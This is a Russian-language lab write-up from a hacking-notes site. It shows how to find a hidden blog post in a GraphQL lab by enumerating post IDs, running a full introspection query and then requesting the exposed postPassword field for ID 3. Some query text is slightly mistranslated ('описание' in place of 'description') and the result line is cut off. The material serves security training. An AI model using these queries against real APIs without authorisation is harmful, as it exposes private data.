> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/graphql/accessing-private-graphql-posts.md).

# Доступ к приватным публикациям GraphQL

### Доступ к приватным постам GraphQL

#### Цель лабораторной работы

На странице блога есть статья **скрытый** (не указан), содержащий **секретный пароль**. Чтобы подтвердить лабораторную, вы должны **найти этот приватный пост** а затем **отправить пароль**.

### 1) Разведка трафика GraphQL

При переходе на главную страницу блога в фоновом режиме отправляется GraphQL-запрос (через **Сеть**  или **Burp** вкладку):

* Конечная точка: `POST /GraphQL/v1`
* Операция: `getBlogSummaries`

<figure><img src="/files/2196d12b9b880180a513706e7f29f80fb0029e7d" alt=""><figcaption></figcaption></figure>

Пример перехваченного запроса:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Этот запрос возвращает видимые посты и их `id`. Отмечается, что список содержит страницы/посты **1, 2, 4 и 5**, но что **отсутствие 3** → очень хороший признак поста **приватный / скрытый**.

<figure><img src="/files/b60fb2044bfd91e7c7fa7dfc56b4eda044a1d809" alt=""><figcaption></figcaption></figure>

#### 2) Получение поста по ID

Когда вы открываете статью, приложение отправляет ещё один запрос, который получает полный контент по ID:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Это подтверждает, что мы можем **перечислять** посты, изменяя `variables.id`.

#### 3) Интроспекция для обнаружения схемы

<figure><img src="/files/0fae14be27f8941ff1bab7d49d743cbab4bc8bf7" alt=""><figcaption></figcaption></figure>

Чтобы увидеть все доступные свойства, мы используем**запрос интроспекции** (например, через **InQL**, **вкладку GraphQL**, или стандартный полезный набор):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            описание
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    описание
    fields(includeDeprecated: true) {
        name
        описание
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        описание
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    описание
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}gra
```

Ответ: **200 OK**, очень большой (более 1000 строк).

<figure><img src="/files/044a5148c8cd61023ec6d9aa493812891aacc2ec" alt=""><figcaption></figcaption></figure>

Анализ выявляет интересное поле: **`postPassword`**.

<figure><img src="/files/0a3925f9643ce9486bedecdb0651eea6c53654df" alt=""><figcaption></figcaption></figure>

### (4) Извлечение скрытого поста (ID 3)

Перезагрузка `getBlogPost` добавив `postPassword` поле, затем укажите отсутствующий ID (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Переменные :

```json
{
    "id":3
}
```

<figure><img src="/files/b40316e7401776cccff4730ca2c2a36e2ee98747" alt=""><figcaption></figcaption></figure>

Результат: ответ содержит значение **`postPassword`** → c

<figure><img src="/files/57a534e2e9f7945c4db2ffecbcb77952d0fe3648" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
